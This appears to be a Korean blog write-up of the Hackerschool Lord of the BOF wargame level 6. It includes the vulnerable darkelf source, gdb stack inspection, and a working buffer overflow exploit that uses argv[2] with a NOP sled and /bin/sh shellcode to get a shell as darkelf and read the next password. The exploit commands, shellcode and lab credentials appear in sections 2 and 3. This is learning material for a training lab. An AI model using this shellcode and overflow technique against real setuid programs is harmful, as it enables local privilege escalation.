해킹 공부/시스템 해킹

[해커스쿨 LOB] level 6_wolfman

O'bin 2022. 4. 7. 19:59

id : wolfman

pw : love eyuna

 

 1.  파일 목록 확인, 소스코드 분석

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
[wolfman@localhost wolfman]$ ls -al //파일 목록 확인
total 48
drwx------    2 wolfman  wolfman      4096 Mar 29  2010 .
drwxr-xr-x   25 root     root         4096 Mar 30  2010 ..
-rw-r--r--    1 wolfman  wolfman        24 Feb 26  2010 .bash_logout
-rw-r--r--    1 wolfman  wolfman       230 Feb 26  2010 .bash_profile
-rw-r--r--    1 wolfman  wolfman       124 Feb 26  2010 .bashrc
-rwxr-xr-x    1 wolfman  wolfman       333 Feb 26  2010 .emacs
-rw-r--r--    1 wolfman  wolfman      3394 Feb 26  2010 .screenrc
-rwsr-sr-x    1 darkelf  darkelf     12655 Feb 26  2010 darkelf
-rw-r--r--    1 root     root          721 Mar 29  2010 darkelf.c
 
[wolfman@localhost wolfman]$ cat darkelf.c //darkelf.c 내용 확인
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument level 5와 다르게 추가된 조건
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
}
cs

 

이번에는 입력 argument의 길이를 검사하는 조건이 추가되었다.

argv[1]의 길이가 48보다 크면 argument is too long!이 출력된 후 프로그램이 종료된다.

입력 값의 길이에 제한이 생겼으니 더 자세히 살펴봐야겠다.

 

 

 2.  gdb로 메모리 주소 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[wolfman@localhost wolfman]$ vi mydarkelf.c                  //darkelf.c와 내용이 같은 파일 생성
[wolfman@localhost wolfman]$ gcc -o mydarkelf mydarkelf.c     // 컴파일 후 실행파일 생성
[wolfman@localhost wolfman]$ ls                                // mydarkelf 파일 생성된 것 확인
darkelf  darkelf.c  mydarkelf  mydarkelf.c
[wolfman@localhost wolfman]$ gdb -q mydarkelf                // gdb로 mydarkelf 구조 분석
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:       push   %ebp
0x8048501 <main+1>:     mov    %ebp,%esp
.
. (중략)
.
0x80485ed <main+237>:   call   0x8048440 <strcpy>
0x80485f2 <main+242>:   add    %esp,8                        // strcpy된 값이 들어가는 위치
0x80485f5 <main+245>:   lea    %eax,[%ebp-40]
0x80485f8 <main+248>:   push   %eax
 
cs

 

이 문제를 푸는 포인트는 argv[2]를 이용하는 것이다.

darkelf에서는 argv[1]의 길이에 대해서만 검사하고 있기 때문에 argv[2]가 들어가는 주소를 알아내 그곳에 쉘코드를 넣고 버퍼오버플로우를 일으키면 된다.

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) b *0x80485f2
Breakpoint 1 at 0x80485f2
(gdb) r $(python -'print "\xbf"*48') $(python -'print "A"*100')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /home/wolfman/mydarkelf $(python -'print "\xbf"*48') $(python -'print "A"*100')
 
Breakpoint 10x80485f2 in main ()
(gdb) x/128x $esp
0xbffffa44:     0xbffffa50      0xbffffbd6      0x00000015      0xbfbfbfbf
.
.
.
0xbffffba4:     0x00000000      0x00000000      0x00000000      0x00000000
---Type <return> to continue, or q <return> to quit---return
0xbffffbb4:     0x00000000      0x38366900      0x682f0036      0x2f656d6f
0xbffffbc4:     0x666c6f77      0x2f6e616d      0x6164796d      0x6c656b72
0xbffffbd4:     0xbfbf0066      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbe4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbf4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc04:     0x4100bfbf      0x41414141      0x41414141      0x41414141
0xbffffc14:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc24:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc34:     0x41414141      0x41414141      0x41414141      0x41414141
cs

strcpy된 값이 들어가는 주소 0x80485f2에 breakpoint를 걸고

argv[1]에서 멈추지 않게 bf가 48개 들어가고 그 후에 argv[2]에 "A"를 100개 넣는 프로그램을 작성해 실행했다.

스택 위에서부터 128개씩 words를 출력하는 명령을 넣고 결과를 쭉 펼쳐 보면 0xbfffc04에서 bf가 끝나고 41(A의 아스키코드값)이 들어가기 시작하는 것이 보인다. 41이 먼저 나오고 그 뒤에 bfbf가 나온 것은 리틀 엔디안으로 들어갔기 때문으로 추측된다.

그 옆에 전부 다 A가 들어간 0xbffffc08을 기준으로 공격하기로 했다.

 

 

 3.  bof 공격 후 쉘코드로 비밀번호 획득

1
2
3
4
5
6
7
8
9
[wolfman@localhost wolfman]$ ./darkelf `python -'print "\x90"*44+"\x08\xfc\xff\xbf"'` `python -'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
                  üÿ¿
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed
bash$
 
cs

nop(\x90) 44개 + 위에서 기준 잡은 주소 0xbffffc08 = 48byte로 argv[1]을 넘치지 않게 딱 채우고,

그 뒤에 argv[2]에 nop을 여유있게 100개 넣어준 뒤 쉘코드를 넣어 쭉 미끄러져 쉘이 열리도록 했다.

의도했던 대로 bash 쉘이 열렸고, id로 정보를 확인해보니 euid, egid가 darkelf로 되어있다.

mypass를 통해 비밀번호를 획득했다.

 

pw : kernel crashed

'해킹 공부 > 시스템 해킹' 카테고리의 다른 글

DreamHack_System hacking stage1  (0) 2022.07.06
[해커스쿨 LOB] level11_skeleton  (0) 2022.05.15
해커스쿨 LOB level 5 orc  (0) 2022.04.03
해커스쿨 LOB level 4 goblin  (0) 2022.03.27
해커스쿨 LOB level 3  (0) 2022.03.22